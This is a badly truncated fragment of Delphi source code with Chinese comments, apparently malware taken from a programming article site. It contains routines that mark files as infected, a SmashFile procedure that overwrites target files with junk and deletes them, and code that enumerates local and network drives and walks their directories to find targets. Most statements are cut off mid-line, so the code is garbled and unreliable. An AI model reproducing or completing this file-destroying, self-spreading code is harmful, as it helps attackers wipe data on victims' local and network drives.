//寫入已感染的標記
DstStream
iID := $
DstStream
finally
HdrStream
end;
finally
SrcStream
IcoStream
DstStream
DstStream
end;
except;
end;
end;
{ 將目標文件寫入垃圾碼後刪除 }
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i
begin
try
SetFileAttributes(PChar(FileName)
FileHandle := FileOpen(FileName
try
Size := GetFileSize(FileHandle
i :=
Randomize;
Max := Random(
if Max <
Max :=
Mass := Size div Max; //每個間隔塊的大小
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle
//寫入垃圾碼
FileWrite(FileHandle
Inc(i);
end;
finally
FileClose(FileHandle); //關閉文件
end;
DeleteFile(PChar(FileName)); //刪除之
except
end;
end;
{ 獲得可寫的驅動器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i :=
begin
D := Chr(i +
Str := D +
DiskType := GetDriveType(PChar(Str));
//得到本地磁盤和網絡盤
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍歷目錄
procedure LoopFiles(Path
var
i
Fn
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec
(SearchRec
Result :=
else if (SearchRec
(SearchRec
Result :=
else Result :=
[
From:http://tw.wingwit.com/Article/program/Delphi/201311/8475.html